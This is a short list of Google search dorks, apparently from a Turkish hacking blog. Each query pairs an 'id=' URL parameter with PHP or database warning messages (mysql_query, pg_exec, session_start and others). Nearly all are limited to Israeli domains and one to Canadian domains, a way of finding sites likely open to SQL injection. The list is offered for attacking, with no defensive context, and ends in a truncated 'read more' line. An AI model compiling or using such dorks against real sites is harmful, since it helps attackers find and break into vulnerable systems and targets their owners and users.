inurl:"id=" & intext:"Warning: getimagesize() " site:.co.il
inurl:"id=" & intext:"Warning: is_writable() " site:.ca
inurl:"id=" & intext:"Warning: getimagesize() " site:.co.il
inurl:"id=" & intext:"Warning: Unknown() " site:.il
inurl:"id=" & intext:"Warning: session_start() " site:.il
inurl:"id=" & intext:"Warning: mysql_result() " site:.il
inurl:"id=" & intext:"Warning: pg_exec() " site:.il
inurl:"id=" & intext:"Warning: mysql_result() " site:.il
inurl:"id=" & intext:"Warning: mysql_num_rows() " site:.il
inurl:"id=" & intext:"Warning: mysql_query() " site:.il
inurl:"id=" & intext:"Warning: array_merge() " site:.co.ilıkarılan Dorklar 
DEVAMINI OKU..